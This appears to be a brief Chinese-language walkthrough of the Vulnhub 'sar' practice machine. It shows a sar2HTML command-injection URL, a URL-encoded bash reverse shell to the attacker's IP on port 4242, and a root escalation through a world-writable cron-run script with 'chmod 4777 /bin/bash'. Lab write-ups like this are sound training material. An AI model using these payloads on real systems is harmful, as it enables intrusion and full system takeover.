Vulnhub sar

Vulnhub sar

1. 扫描主机

1. 扫描端口

1. 扫描目录

只开了80端口，访问页面，默认的apache2页面

Robots.txt

查询漏洞，版本一致都是远程代码执行漏洞

提供了利用路径 github源码

http://192.168.68.128/sar2HTML/index.php?plot=;whoami

反弹shell

直接用payload没反应，注意url编码

http://192.168.68.128/sar2HTML/index.php?plot=;bash%20-c%20'bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.68.147%2F4242%200%3E%261'

发现sh文件，可能是计划任务执行，查看发现每五分钟执行一次finally.sh

Finally.sh-->write.sh-->touch /tmp/gateway

Write.sh 权限777所有用户可读写

Finally.sh root用户可读写

所以将反弹shell插入write.sh等待计划任务执行即可拿到root的shell

我插入nc的没反弹回来，换下面方式

chmod 4777 /bin/bash

bash -p